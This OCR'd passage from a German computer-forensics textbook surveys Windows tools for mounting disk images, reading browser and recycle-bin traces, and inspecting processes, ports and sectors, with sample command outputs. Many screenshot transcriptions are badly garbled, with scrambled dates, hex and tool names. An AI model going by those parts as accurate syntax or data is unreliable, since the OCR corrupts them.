& misc o Cirectary 04022003 01:13:...  diwwsrurs ales/roct
3-8 mnt (] ¥Fre=86.0log KB Fe 260520031934 s sles /oot
{88 opt o8] Fre286.D.log.old KD Fie 24052003 1111 - alexraat
(i@ pioc 8] 4Frest 3o 2KB File 03052003 1403... e sle /oot
-8 sbin e8] ¥Fre286. 3 Jog.old 29KB Fie 14102002 20:30.... -1 ales/roct
-3 thpboot ] P16 setup lng 1KB Fle (0305 2003 14:04: . -tweteree ales/raot
+- () tmp bootlog 10KE Fie 26.05.2003 13.35.... - ales/roct
w5 usr bootlag 1 30KB Fie 05.05.2003 13.28: ales/root
{3 var bootlog.2 194 KB File 0305.2003 1458 . e ales oot
accort bootlog 3 42KB Fle 03012003 2158, -t sles /oot
& arpwatch bootlog 4 SBKE File 1112200207:24... e alexroat
i cache = %
= aon 5KB Fie 260520031930, -t sles /oot
g e cron1 5KB File 05.05.2003 20:34.... ales/roct
& g e e mmanza. we e
.5 ih = cron. il = ales/root
Ll ;l_l o] crom 4 11KB Fils 11.12.2002 0725 ales/root =l
[Memory inuse: 5105140 25739404 bytes in 84 objects y

FileDisk  FileDisk3? ist zum dynamischen Mounten von Dateisystemen unter
Windows ausgezeichnet geeignet. So kann man auf sie wie auf physi-
sche Laufwerke zugreifen. Mit diesem Tool lassen sich mit dd erstellte
Festplatten-Images unter Windows read-only mounten und dann mit
den meisten der vorgestellten Windows-Tools analysieren:

C:\>filedisk

syntax:

filedisk /mount <devicenumber> <filename> [size[k|M|G] | /ro | /cd] <drive:>

filedisk /umount <drive:>

filedisk /status <drive:>

filename formats:
c:\path\filedisk.img
\Device\Harddisk0\Partitionl\path\filedisk.img
\\server\share\path\filedisk.img

example:

filedisk /mount 0 c:\temp\filedisk.img 8M f:

filedisk /mount 1 c:\temp\cdimage.iso /cd i:

filedisk /umount f:

filedisk /umount i:

C:\>filedisk /mount O c:\forensic_temp\filedisk.img f:

Abb. 7-54 Anwendungsbeispiele fiir FileDisk

MountimagePro  Eine etwas komfortablere kommerzielle Variante, um dd-Images oder
auch EnCase-Files bzw. ISO-Images als Windows-Laufwerksbuchsta-
ben zu mounten, ist Mount Image Pro33 der Firma GetData. Die mit
Mount Image Pro eingebundenen Datentragerkopien konnen als nor-

32. http:/lwww.acc.umu.se/~bosse/
33. http:/lwww.mountimage.com/
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male Laufwerke unter Windows verwendet werden, was beispiels-
weise das Offnen von dort gespeicherten Dateien mit den Originalan-
wendungen genauso ermoglicht wie die Suche nach Viren oder einem
andern schadhaften Code mit einem handelsiiblichen Virensuchpro-
gramm. Auch ist die Wiederherstellung von geloschten Dateien oder
der Export von bestimmten Dateiinhalten mit dieser Methode sofort
moglich. Mount Image Pro o6ffnet die Images standardmafSig read-only
und bietet jederzeit eine Uberpriifung der MDS5-Priifsumme an.

L1 Mount Image Pro v2.44 M=l E Abb. 7-55
| Be_optors_tep Mount Image Pro
I @.Mﬂunt.‘. Q_ Unmount = @\ View... EI—‘ Options @ Update {9 Help bietet komfortablen

i Mounted Images

Umgang mit dd- und

Filenarne Files Partition As Lahel File Systern  Diate Aquirec
i=0)
D\Cases\FnrenszﬁCDfDT—D? iso 1 i} = (none) EnCase-Ima es
ﬁD.\Cases\D? TestHackingCaselkguisitionthacking_case.dd 1 o G {nonej g
%D.\Cases\\magefgjﬁs dd 1 o HA HPFSNTFS
ICaseslushkey.dd 1 1
2 1

It forensic-test  FAT32 LBA
H TFS

4 | i

i Image Details
FllenameID'\Cases\\manes%ZSSCdDell Latitude CPi.ED1

Image Geatrietry IEnEasg p 4| » | | Partitions:
Id Active  Media Capacity  Label File System
Parameter Value 1 Mo Hard 4645 b rone]
Capacity 4645 Mb 1 Yes Hard 4643 Mb HFFS/NTFS
Cylinders 593
Tracks 255
Sectors B3
Bytes 8132

Mourted Drives: | 5 | 4

Ein sehr einfach zu bedienendes Werkzeug, um auf ext2- oder ext3-  Ext2IFs
Dateisysteme auch schreibend zuzugreifen, ist Ext2 Installable File

System for Windows>* von Stephan Schreiber. Die Software ist im
Rahmen seiner Diplomarbeit entstanden und frei verfiigbar. Einfacher

geht es kaum: Uber die Systemsteuerung konnen angeschlossenen
Linux-Dateisystemen Laufwerksbuchstaben zugeordnet werden.

34. http:/lwww.fs-driver.org
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Abb.7-56 5, |Fs Drives ”
Der Zugriff auf Linux- : e E—
Partitionen Idsst sich c|D: E: nend || [
. . . Syetemn | Daten NTFS DATEN._|
einfach tiber die System- Drive 1 |NTFS  |NTFS FAT32 [l |Line
. . 186.3 GB swap
steuerung konfigurieren. 98GR |95268 S020MB|39GE | %9 GE

X-Ways Trace

Abb. 7-57
X-Ways Trace bietet eine
gute Ubersicht der lokalen

Browserspuren.

Dirive 2 |Linux
186.3 GB

186.3 GB

G:
l%i Daten_NTF5

Drive 3 |NTFS
1490 GB

145.0GB

. primary partition B atended partitior free space

Ebenfalls von der Firma X-Ways Software AG kommt das Werkzeug
X-Ways Trace. Mit diesem Werkzeug kann die interne Cache-Datei
index.dat des Microsoft Internet Explorers analysiert werden. X-Ways
Trace zeigt dabei die komplette URL an, Datum und Zeit des letzten
Zugriffs, Benutzerkennungen, Dateigroflen, Dateinamenserweiterun-
gen u.a. Alle Parameter lassen sich in der Ubersicht sortieren. X-Ways

EX-Wa_vs Trace
Datei Bearbeiten  Fenster  Hife

Analyse von index dat | Analyse von Festplatte 1 I Ainalyse von Laufwerk J: I

B8 Analyse von index. dat fi =lai x|

Letzte Andenung der Catei am 26.04.2003, 16:06:16 3535 URLs, 306 Umleitungen, 0 andere
Letater Besuch® | Prat | Domain | Ressource | GraBe | Ext. | Az | Benutzer | Fundstelle | & I

(j 23.04.2003 21:39.13 hip  209.204.197.67  banners/mails/nav_bout_dmit... 42 Byptes oif 1 masler 1865152

) 2304.200321:3%:13 htp 20920419767 banners/mals/DVDI99_02.gf 119 Bytes af 1 masler 1570304 —

lj 23.04.2003 21:39:13 hitp  209.204797.67  banners/mails/DVD999 03.jpg 3.2KB pa 1 masler 1570682

23042003 21:3%13 hp  209.204.197.67  banners/mals/DVDI99_04.0f 94 Bptes a1 magler 1571072

) 2304.200321:33:13 htp 20920419767 banners/mals/DVDI99_0B.gif 146 Bytes af 1 mazler 1571840

(j 23042003 21:39:14 Hitp  209.204.7197.67  banners/mails/DVD399_07.gf 121 Bytes gif 1 masler 1572224

) 23042003 21:3914 http 209204197 67 hanners/mails/DVDA39_03.0F 34KE  of 1 magler 1572392

22042002 20:9%14 kitp  209.204.197.67  banners/mals/DV0999 12pg 62KE  jpg 1 masler 1574144

IEP 23.04.2003 21:39:14 hitp  209.2047197.67  bannerz/mails/DVD999_13.jpg E5 KB pa 1 masler 1574528

23042003 21:3%:14 hip  209.204.197.67  banners/mals/DVDI99_14.0f 144 Bytes aff 1 masler 1574312

) 2304.200321:3%:15 htp 20920419767 banners/malsDVDI99_15jpg 46KE  jpg 1 mazler 1575296

(:) 23042003 21:39%:15 Hitp  209.204.797.67  banners/mails/DVD399_16.gf 126 Bytes gif 1 masher 1578680

(51 2304.2003 21:5210 Hitp  heize.de Realtedialads’adstream_|« a.. 43 Bptez  gif 1 masler 1581184

(:) 23.04.2003 21:5211 hitp  heise.de newsticker/data’see-23.04.0.. 244KB  04[1] 2 204672

() 22.04.2003 21:5212 htp  heise.ds RealMedia’ads/adstrean_lk.a.. 43Bptes  gif 1 rmasler 1582080

) 2304 2003 21:6214 hiip  heiseds newsticker/datadj-23.04.03-.. 234KB  04[2] 2 283664

(g, 23.04.2003 21:52.14 hitp  heize.de Realtedialads/adstream |« a... 43 Bptes  oif 1 masler 1883872

) 23.04.2003 21.52109 hup heissade rieslichen Adaladik-23.04.03-.. 205KE  04[3] 2 382464

(j 2304.2003 2 hitp  heise.de Realt edialads adstreal 43 Bptes gif 1 masler 1886560

) 2304.2002 21:52:44 htp  heise.ds newsticker/foren/go. shiml?re... 5. shiml 1 rmasler 272056 ;I

HTTPA.0 200 0K, Content-Type: text/html, Content-Length: 3917, | ~“U:master
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Trace liest aus einer oder mehreren Dateien oder durchsucht ganze Ver-
zeichnisse samt Unterverzeichnissen oder sogar ganze Datentrager (in
allen Dateien, freiem Laufwerksspeicher und Schlupfspeicher) oder
Disk-Images nach Spuren, die durch das Surfen im Internet hinterlas-
sen wurden. In einigen Fillen werden auch Zugriffe auf lokale Dateien
mitprotokolliert. Es ist somit auch eine gezielte Suche nach bestimmten
Domain-, Benutzer- und Dateinamen moglich. Zusatzlich werden die
Browser-History-Datei history.dat von Mozilla/Firefox und die Brow-
ser-Cache-Datei dcache4.url des Opera-Browsers dekodiert und ange-
zeigt.

X-Ways Trace entschlusselt auflerdem die versteckte Logdatei
INF0233 des Papierkorbs in MS Windows (seit Windows Vista nicht
mehr), die sich im Ordner Recycler oder Recycled befindet. Es zeigt den ~ Abb. 7-58
urspriinglichen Pfad und Dateinamen an, Datum und Uhrzeit der  Darstellung des

Loschung sowie die DateigrofSe (siehe Abb. 7-58). Windows-Papierkorbs
mit X-Ways Trace
EER
5 Eila Edit Window Halp e
Anlyss of INFDZ | '
CARECYCLERNS-1-5:21-758341597- 20343335001 3302723001040 - Last modified: 23,09.2005, 14:4%3:48 T

I

Crokumnente und Einstellungeniall Users\Desktop IMozilla Firefoxnk — <.0KB

C:ADokumente und Einstellungenall UsershDeskophMozilla Firefox. Ink [4.096 bytes]

Alle von X-Ways Trace zusammengetragenen Details konnen auch
nach MS Excel exportiert werden. Die untersuchten Dateien/Datentra-
ger werden durch X-Ways Trace nicht verdndert.

35. Seit Windows Vista hat sich das Verhalten des Papierkorbs grundlegend gedndert,
was eine Aktualisierung der entsprechenden Werkzeuge zwingend notig macht.
Das Papierkorb-Verzeichnis wurde in $Recycle.bin umbenannt. Die von Windows
2000, XP oder 2003 bekannte »Papierkorb«-Datei INFO2 wurde entfernt — diese
Datei enthielt alle Informationen iiber die geléschten Objekte. An deren Stelle fin-
den sich nun zwei Dateien im Recycler-Verzeichnis: Die Datei mit » $R« am Anfang
ist die geloschte Datei, wihrend die » $I«-Datei den Pfad zum ehemaligen Speicher-
ort sowie den Loschzeitpunkt enthilt. Die Dateiendungen bleiben unverindert.
Werden Verzeichnisse geloscht, wird der Verzeichnisname umbenannt, die Ver-
zeichnisinhalte bleiben unverdndert.
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FileAnalyzer

Abb. 7-59

Der Windows FileAnalyzer
vereint viele Analyse-
mdglichkeiten. Er kann
nicht nur auf dem lokalen
System eingesetzt werden.

iehist

Mit dem freien Windows FileAnalyzer’® enthilt man die Moglich-
keit, auf einem Windows-System die Browser-History, den Inhalt des
Papierkorbs oder die gespeicherten LNK-Dateien zu analysieren. Ein
weiteres Feature ist die Auswertung der bereits beschriebenen Win-
dows-Prefetch-Dateien.

| 751 Windaws File Anatyzer - [REA - WFO7] ==
@ Fie Wrdees e |
15+ & @ - © -] | |
it = Prefrtch ) 34 - Racent ] 00 e ] A rdarde ] A ndex dn ] D e da
] 100 - e adat @ REa-Deor o 0 Roe B T Thurbs b
% Recycle Bin Analysis Repat__|

Fie CARECYELERNG 1521 070081503 AR5 T M SIS 112
Vokume serist SCFE0207

Vickme Libed

D Filanane Diated
i LT AN 3 TR AT e
kil Noch_pley_om o 210N 12T
W e A RE T -1 2011180755
» ehscrstchiadencnpt & 052011 120200
= 4 DL 21062011 103N
ERCEARET
N.052011 100370
21062011 1R0A N
N0EABEN
1052011 180370
21052011 1009
nosAMEED
.05 2001 1R 0% T
2.052011 10200
2062011 1868
105201 10T
1052011 10027
063001 1R85
e ARET R
1.05.2011 180871
052011 10T

Es kann vorkommen, dass man analysieren mochte, welche Internet-
seiten von einem verdichtigen Windows-PC besucht wurden. Der
Internet Explorer speichert die Internetaktivititen in der Datei
index.dat. Diese Datei liegt in Bindrform im Internet-History-Ver-
zeichnis des jeweiligen Users. Das Tool iebist>” ermoglicht das Ausle-
sen dieser Datei.

D:\>iehist index.dat

Urls retrieved 7

URL|2003/6/9 13:18:37|Visited: user01@http://www.dpunkt.de

URL|2003/6/9 13:18:17|Visited: user0l@http://www.heise.de

URL|2003/6/9 13:19:6 |Visited: user0l@http://www.google.de

URL|2003/6/9 13:17:31|Visited: user01@http://packetstormsecurity.nl /filedesc/ rpf.tar.html
URL|2003/6/9 13:17:53|Visited: user01@http://packetstormsecurity.nl /groups/dsr/rpf.tar.gz
URL|2003/6/9 13:18:13|Visited: user01@http://packetstormsecurity.n

URL|2003/6/9 13:19:37|Visited: user0l@http://www.google.de/search?q =rpf&ie=UTF-8%0e=UTF-88h1=degmeta=

rifiuti

Abb. 7-60 Ansicht der Internet-History mit iehist
Einige der vorgestellten kommerziellen Tools ermoglichen die Wieder-

herstellung von Daten aus dem Windows-Papierkorb. Mochte man

36. http:/lwww.mitec.cz/
37. http:/hwww.cqure.netftools.jsp?id=13
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aber nur mal schnell analysieren, welche Daten tiberhaupt im Papier-
korb sind, reicht es aus, die Datei info2 aus dem Recycler-Verzeichnis
des jeweiligen Laufwerks mit dem Tool rifiuti>® auszuwerten. Man
bekommt dann eine Ubersicht, welche Dateien sich iiberhaupt im
Papierkorb befinden:

D:\>rifiuti.exe info2
INFO2 File: info2

INDEX  DELETED TIME DRIVE NUMBER PATH SIZE

1 Tue Jun 3 04:58:11 2003 2 c:\word.doc 36864

2 Tue Jun 3 04:58:15 2003 2 c:\temp\indexf.htm 49152

3 Tue Jun 3 04:58:16 2003 2 c:\temp\indexg.htm 40960

4 Tue Jun 3 04:58:17 2003 2 c:\temp\~adftk138.jpg 32768
5 Tue Jun 3 04:58:19 2003 2 ¢:\temp\00000001 32768
6 Tue Jun 3 04:58:44 2003 2 c:\temp\modem. Tog 4096

Mit dem Foundstone Forensic ToolKit>? kann man mit einfachen Mit-
teln viele Informationen iiber versteckte Dateien und Alternate Data
Streams erhalten:

Afind

zeigt Informationen uiber den letzten Dateizugriff an,
Sfind

zeigt Hidden Data Streams an,

Hfind

zeigt versteckte Dateien an,

FileStat

zeigt diverse Dateistatistiken an.

Z:\forensic\stat_bin win32>filestat logo.gif
Dumping Togo.gif...
SD is valid.
SD is 92 bytes long.
SD revision is 1 == SECURITY_DESCRIPTOR REVISIONL
SD's Owner is Not NULL
SD's Owner-Defaulted flag is FALSE
SID = VORDEFINIERT/Administratoren  S-1-5-32-544
SD's Group-Defaulted flag is FALSE
SID = TSUNAMO/Kein  S-1-5-21-1674551165-789378058-839522115-513
SD's DACL is Present
SD's DACL-Defaulted flag is FALSE
ACL has 1 ACE(s), 28 bytes used, 0 bytes free
ACL revision is 2 == ACL_REVISIONZ
SID = /Jeder S-1-1-0
ACE 0 is an ACCESS_ALLOWED ACE_TYPE
ACE 0 size = 20 -

38. hitp:/lodessa.sourceforge.net/
39. bttp:/lwww.foundstone.com

Foundstone Forensic
ToolKit



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

284

7 Forensische Analyse im Detail

Paraben’s E-Mail Examiner

Abb. 7-62
Mailbox-Import mit
Paraben’s E-Mail Examiner

ACE 0 flags = 0x00
ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_ PERMS -TAKE OWN

SD's SACL is Not Present
Stream 1:

Type: Security

Stream name = a Size: 92
Stream 2:

Type: Data

Stream name = a Size: 4934
Stream 3:

Type: Alternate Stream

Stream name = getadmin.exe Size: 61440

Creation Time - 20/05/2003 20:52:38
Last Mod Time - 20/05/2003 20:52:59
Last Access Time - 20/05/2003 20:52:59
Main File Size - 4934

File Attrib Mask - Arch

Dump complete...

Abb. 7-61 FileStat aus dem Foundstone Forensic ToolKit zeigt alle Informationen einer
verddchtigen Datei inkl. Alternate Data Streams.

Findet man auf einem verdichtigen System eine E-Mail, ist es norma-
lerweise notwendig, das zugehorige Mailprogramm zu installieren und
die entsprechenden Maildateien zu importieren. Dies ist bei der Viel-
zahl der einsetzbaren Mailprogramme recht aufwendig. Der Paraben’s
E-Mail Examiner*® beherrscht neben den Mailformaten verschiedener
Mailclients auch den Import und die Analyse des Unix-mbox-Formats.
Mit diesem Tool ist es moglich, die auf dem verdichtigen System

=10l x|

P Paraben's E-mail Examiner [Trial ver:

Fie. Edt Search View Todls Report Help
R-BEH® B2l Q- E@Ale i i e |
E-mail Directory |awm| ‘Massage Header || Message Biody | Statistiss|

C__________ /D who — 5. 1p 15 ] &
L | Bk DelE-mail Examiner Wizard ﬂ_-m

2002.04.03 1821 Nicob Z 1. Select the message folder or mailbox archive that you would like to examine. Click on 5
500204 04 0545 Reaktor | the Help buttan or press F1 for more information S i
2002.04.04 1223 Whitece Froces... 12J

3
3
2002.04.04 15:35 a0 3
3
a

2002.04.04 21:41 Kurt el Use saved settings | [potat.. 5
2002.04.04 22:23 <-delusit ol P 15:'

T Bgert 0

Calypso archives

Date: Wed, 3 Apr Z0DZ 19:35:3
Subject: Black Hat Eriefings
To: =vuln-deviisecurityfocus. o
Fram: "B.E. DelLong" <bkdelong

Tell folks, less than one more
2002 Call for Papers closes!

I hope to see several list menm

Papers snd presentations are n
2002 conference. The conferenc
Caesars Palace Hotel and Resor
to speak will be received and

Generic mail (Unix/mbox]

=

x
Mozila & Netscape /7
Hetscape (prior v6.0)
Outlook Express &

E -mail Examiner archives
Eudoia
Fortai

¥ Show wizard on startup ¥ Find default folder

< Back I Hext > I Einish

Cancel | Heo |

Please read the full announcenment at:
hetp: /fwww.blackhat . con/htul /bh-usa-02/bh-usa-02-cfp.htul

c

=

4:13 1

| 13 |Ready [press F1 for Help)

40. http:/fwww.paraben-forensics.comlexaminer.html
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gefundene E-Mail zu analysieren und sinnvolle statistische Auswertun-
gen durchzufthren:

Auf der Website von Sysinternals*' finden sich einige sehr hilfrei-
che Tools, die unbedingt in die Werkzeugkiste eines Ermittlers gehoren.
Diese Tools fallen aber in die Kategorie der Werkzeuge, mit denen man
einem System zur Laufzeit fliichtige Informationen abgewinnen kann.
ProcessMonitor wurde bereits im Einsatz beschrieben. Er vereint die
sehr hilfreichen Tools RegMon und FileMon unter einem Dach. Mit
ProcessMonitor kann man simtliche Zugriffe auf lokale Dateien bzw.
Registry-Keys in Echtzeit protokollieren. Es lassen sich Filter konfigu-
rieren, wenn man nur eine einzelne Applikation tiberwachen mochte.
Ein interessantes Feature ist, dass man alle Registry-Zugriffe wihrend
des Boot-Vorgangs analysieren kann. Fiir die Analyse eines laufenden
Systems haben sich der ProcessExplorer und Autoruns bewihrt. Pro-
cessExplorer stellt alle laufenden Prozesse ibersichtlich dar und ermog-
licht eine tiefe Analyse. Autoruns sammelt alle im System gespeicherten
Hinweise auf automatisch gestartete Programme. Ebenfalls von Sysin-
ternals stammen die Pstools. Mochte man eigene Analyseskripte zur
Sammlung fliichtiger Daten verwenden, konnen die in dieser Samm-
lung enthaltenen Programme verwendet werden (siehe Abb. 7-63 bis
Abb. 7-69). Die Ausgabe erfolgt als Text auf stdout und kann somit
entweder in eine Datei umgelenkt oder mit Netcat tiber das Netz trans-
portiert werden. Auf der Helix-CD sind fast alle der Pstools enthalten.

Z:\forensic\stat_bin win32>psinfo

PsInfo 1.34 - local and remote system information viewer
Copyright (C) 2001-2002 Mark Russinovich

Sysinternals - www.sysinternals.com

System information for \\TSUNAMI:

Uptime: Error reading uptime

Kernel version: Microsoft Windows 2000, Uniprocessor Free
Product type: Professional

Product version: 5.0

Service pack: 3

Kernel build number: 2195

Registered organization: n/a

Registered owner: n/a

Install date: 01.02.2002, 17:25:02

IE version: 6.0000

System root: C:\WINNT

Processors: 1

Processor speed: 745 MHz

Processor type: Intel Pentium III

Physical memory: 256 MB

Abb. 7-63 Anzeige einiger Systeminformationen mit psinfo

41. hatp:/lwww.sysinternals.com

Sysinternals
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Z:\forensic\stat_bin_win32>psfile

PsFile v1.01 - Tocal and remote network file Tister
Copyright (C) 2001 Mark Russinovich
Sysinternals - www.sysinternals.com

No files opened remotely on TSUNAMI.

Abb. 7-64 Anzeige der liber das Netz gedffneten Dateien mit psfile

Z:\forensic\stat_bin_win32>psloggedon

PsLoggedOn v1.21 - Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals - www.sysinternals.com

Users Tlogged on Tocally:
04.06.2003 11:36:19 TSUNAMI\alex

No one is Togged on via resource shares.

Abb. 7-65 Anzeige der lokal und iiber das Netz angemeldeten User mit psloggedon

Z:\forensic\stat_bin_win32>psservice
PsService v1.01 - Tocal and remote services viewer/controller
Copyright (C) 2001 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: Alerter
DISPLAY_NAME: Warndienst
Benachrichtigt bestimmte Benutzer und Computer {ber administrative Warnungen.
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT CODE : 0 (0x0)
SERVICE_EXIT CODE : 0 (0x0)
CHECKPOINT . 0x0
WAIT_HINT : 0x0

SERVICE_NAME: AppMgmt
DISPLAY_NAME: Anwendungsverwaltung
Bietet Softwareinstallationsdienste wie Zuweisung, Veréffentlichung und Deinstallation.
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE  : 1077 (0x435)
SERVICE_EXIT CODE : 0 (0x0)
CHECKPOINT . 0x0
WAIT_HINT : 0x0
[.]

Abb. 7-66 Anzeige weiterer Informationen (iber aktive und inaktive Dienste mit psservice
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$ Tistdlls

Copyright (C)

Command Tine:

SMSS.EXE pid:
Command Tine:

Base

0x48580000
0x77880000
0x67e80000

Base

0x5fff0000
0x77880000
0x5ff80000
0x5ff90000
0x5ffa0000
0x77e00000
0x77e70000
0x77f40000
0x77da0000
0x77d20000

System pid: 8

CSRSS.EXE pid: 168

Command Tine: C:\WINNT\system32\csrss.exe ObjectDirectory=\Windows SharedSectio =1024,3072,512,512 Windows=0n
SubSystemType=Windows ServerDl1=basesrv,l ServerD T=winsrv:UserServerD11Initialization,3
ServerD11=winsrv:ConServerDI1Initializat on,2 ProfileControl=0ff MaxRequestThreads=16

ListDLLs V2.23 - DLL Tister for Win9x/NT

1997-2000 Mark Russinovich

http://www.sysinternals.com

144
\SystemRoot\System32\smss.exe
Size Version Path
0xe000 \SystemRoot\System32\smss.exe

0x80000  5.00.2195.6685 C:\WINNT\system32\ntd11.d11
0xf2000  5.00.2195.6034 C:\WINNT\System32\sfcfiles.d11

Size Version Path
0x4000 \?2\C:\WINNT\system32\csrss.exe
0x80000 5.00.2195.6685 C:\WINNT\system32\ntd11.d11
0xc000  5.00.2195.5265 C:\WINNT\system32\CSRSRV.d11
0xd000  5.00.2195.5265 C:\WINNT\system32\basesrv.dll
0x3f000  5.00.2195.6097 C:\WINNT\system32\winsrv.d11
0x5f000  5.00.2195.6097 C:\WINNT\system32\USER32.d11
0xbe000 5.00.2195.6079 C:\WINNT\system32\KERNEL32.d11
0x39000 5.00.2195.5907 C:\WINNT\system32\GDI32.d11
0x5b000  5.00.2195.6052 C:\WINNT\system32\advapi32.d1l
5

0x6d000 .00.2195.6106 C:\WINNT\system32\RPCRT4.d11

Abb. 7-67 Anzeige der durch einen Prozess verwendeten DLLs mit listdlls

Z:\forensic\stat_bin win32>psloglist security

PsLogList v2.3 - local and remote event log viewer
Copyright (C) 2000-2003 Mark Russinovich
Sysinternals - www.sysinternals.com

Security lTog on \\TSUNAMI:
[4480] Security
Type: AUDIT SUCCESS
Computer: TSUNAMI
Time: 28.05.2003 16:56:42  ID: 680
User: SYSTEM\NT-AUTORITAT
MICROSOFT_AUTHENTICATION PACKAGE V1 0 alex TSUNAMI
[4479] Security
Type: AUDIT FAILURE
Computer: TSUNAMI
Time: 28.05.2003 16:56:36  ID: 529
User: SYSTEM\NT-AUTORITAT
alex TSUNAMI 7 User32  Negotiate TSUNAMI

Abb. 7-68 Export der Eventlogs mit psloglist
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FPort

SectorSpy

Z:\forensic\stat_bin_win32>handle |more
Handle v2.01

Copyright (C) 1997-2001 Mark Russinovich
Sysinternals - www.sysinternals.com

System pid: 8 NT-AUTORIT-T\SYSTEM
ac: File C:\pagefile.sys
d4: File C:\WINNT\CSC\00000001

SMSS.EXE pid: 144 NT-AUTORIT-T\SYSTEM
14: File C:\WINNT
2c: File C:\WINNT\system32

CSRSS.EXE pid: 168 NT-AUTORIT-T\SYSTEM

18: File C:\WINNT\system32

40: Section \NLS\NTsSectionUnicode
44: Section \NLS\N1sSectionLocale

48: Section \NLS\N1sSectionCType

4c: Section \NLS\N1sSectionSortkey
50: Section \NLS\N1sSectionSortThls
358: File C:\WINNT\system32\ega.cpi

Abb. 7-69 Anzeige der von einem Prozess verwendeten Ressourcen mit handle

Foundstone*? bietet ebenfalls Tools fiir Sicherheitsexperten zum Down-
load an. Besonders zu erwihnen und hilfreich bei der Analyse der
geoffneten Ports auf einem verdachtigen System ist FPort.

D:\>fport

FPort v2.00 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid  Process Port Proto Path

400  svchost -> 135 TCP  C:\WINNT\system32\svchost.exe
8 System -> 445 TCP

744 MSTask -> 1027 TCP  C:\WINNT\system32\MSTask.exe

8 System -> 1029 TCP

400  svchost -> 135 UDP  C:\WINNT\system32\svchost.exe
8 System -> 445 UDP

216 services -> 1025 UDP  C:\WINNT\system32\services.exe

Abb. 7-70 FPort zeigt an, welche Datei den Port gedffnet hdilt.

Eine weitere kostenfreie Unterstiitzung stellt das Tool SectorSpy*3 dar.
Mit diesem Programm kann man die Sektoren von Festplatten oder

42. bttp:/lwww.foundstone.com
43. http://home.carolina.rr.com/lexunfreeware
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Disketten analysieren oder auch nach bestimmten Zeichenketten

durchsuchen.

=] SectorSpyXP )

Find Mext Igsschuﬂneck.cum

I Case Sensitive

=loix|

C7 DA+ §=i< F %08 Diive;
96 D8 =M 6dzi[ v "b |D |
33 81 Fxm 2 U #3 Diive Size:
7B 78 71 3 X0 {x -
31 3E g 8\ MA»  |5.247.692800
86 93 ‘}U 1 P8 Total Sectors;
BS BB [ q6B
8C co y - 2 B 10.243.400
94 DB ' t GL T File Systenm:
FF 66 jgo 1z n F
74 €6 ) B¢ £ INTFS
85 96 Y (h 2 Begin Sectar:
46 AR ubd 2:%i t F I_—‘U
AD E8 I= §7 b 9
70 F9 tE =z End Sector:
31 0E go  C<{ 10 fipagsss
6F 6E lexander Geschon
72 4B neck <alexander@ Append curent
6D 3E qeschonneck .com? sectar to file
81 58 9K
5F EO ~HqqF?7 Append range of
89 45 k¥(1q td e E zectors to file
72 47 - 5 bP$-\ QR- rG Wiew fle
86 D8 Uy q t e
2E 9E 1 1 1 L. Outpuit File Path:
2E BB 034 h 10 - IA\
a8 A4 ~“\xP/ *x®
EQ E7 RLU E z Options
B8 78 1" 1 ®
4B A2 Hn< 2 id ; 0K Cancel action
31 6B % s O11K  CurentSector:
F1 4B wio { =" K [pdoe72

I | < I < I » | > | 3 | Exit |

Ein weiteres gutes Festplatten-Analysetool fiir Windows ist der Disk
Investigator**. Unter Umgehung der Betriebssystem-Routinen wird
direkt auf die Festplatte zugegriffen. Es besteht hier die Moglichkeit,
jeden Sektor einzusehen oder nach Zeichenketten zu durchsuchen.

e
T06s e S

‘ & Disk " Directoriss =
0000 ﬁ 52 90 4E 54 46 53

Diive to visw 0008 20 20 20 00 0z 08 0D
=d[ <] |00 00 00 00 00 00 FE 0o

0018 3F 00 FF 00 3F 00 00
L i L 0020 00 00 00 00 80 0O 80
Logical dive: D ~| |oozs EL A3 33 07 00 00 00

Size: 57 Gb (popularly 51 Gb) |
Lagical sectors: 120624500

Bytes per sector, 512

Sectors per Cluster: 8

Cluster size: 4096

File system: NTFS

Free clusters: 8324913

Fiee space: 32519 Mb

0030 04 00 00 00 00 00 00
0038 8D 00 70 00 00 00 00
0040 F6 00 00 0O 01 00 0O
0048 2C 6B 5D 0C C3 5D 0C
0050 0

0056

ol x|
Decinat
s P ER 235 ‘82 144 78 B4 70 83 32|
P ae A 2 o 2 ] 0 0
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225 163 51 T o o o o
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o o 0
o 0

00e0
00gs
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D
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Compressed: Ho a
1

0078 6
o

8

L}

8

Clusters per MFT record: 0
MFT size: 69 Mb

Seachior [oaswor

MET star cluster: 4 ey
MFT zore clusters: 17684 - ooso o B BEACGHIEdR
187404 0085 B | Maichsase

MFT zone size: 7305 Mb
MFT miror start: 8192141 L
Media Descriptor: 248

0090
0098
00&0

I~ Hex bytes [eg, BE4F)

Search I 198 6 14 0

182 198 64 102
Help Cancel 226 63 247 226
6 65 102 15

225 102 163 32

« Uy 0 195 180 65 187 170 &5 133
0205 19 114 15 129
251 A5 170 117 @ 244 183 1

EZZLE"Z'%? 4 00AS 00 C3 B4 41 BE AR 55 A :
Secors per iack: B3 00BO 16 24 00 CD 13 72 OF 61 . § Lr.. 2z 36
=] Jnnma wR 55 ax 95 ne w01 a1 IR
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Sector Start of disk End of disk
o = |4

44. bitp:/lwww.theabsolute.net/sware/dskinv.himl

Abb. 7-71

Direktes Suchen in
Festplattensektoren mit
SectorSpy

Disk Investigator

Abb. 7-72

Zeichensuche in den
Clustern einer Festplatte
mit dem Disk Investigator
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Zusitzlich kann man sich durch die Verzeichnisebene der verdiachtigen
Platte bewegen, geloschte Dateien identifizieren und in der zukiinfti-
gen Version dann auch wiederherstellen.

Abb. 7-73 sk Investigator - C: =[]
. . File iew Tools Help
Ansicht von geldschten oy
 Disk & Diectaries
Dateien mit dem Disk | 2 ame DOSname  [Em [am [ sies Modied | Crzatec ~ |
250133 WMF 50139 W 47,784 0 06 2003 0200:00] 07 06.2003 1
. [5 Lokaler Dateniriger [C] =
Investigator () ADOBEAPP . 0 :
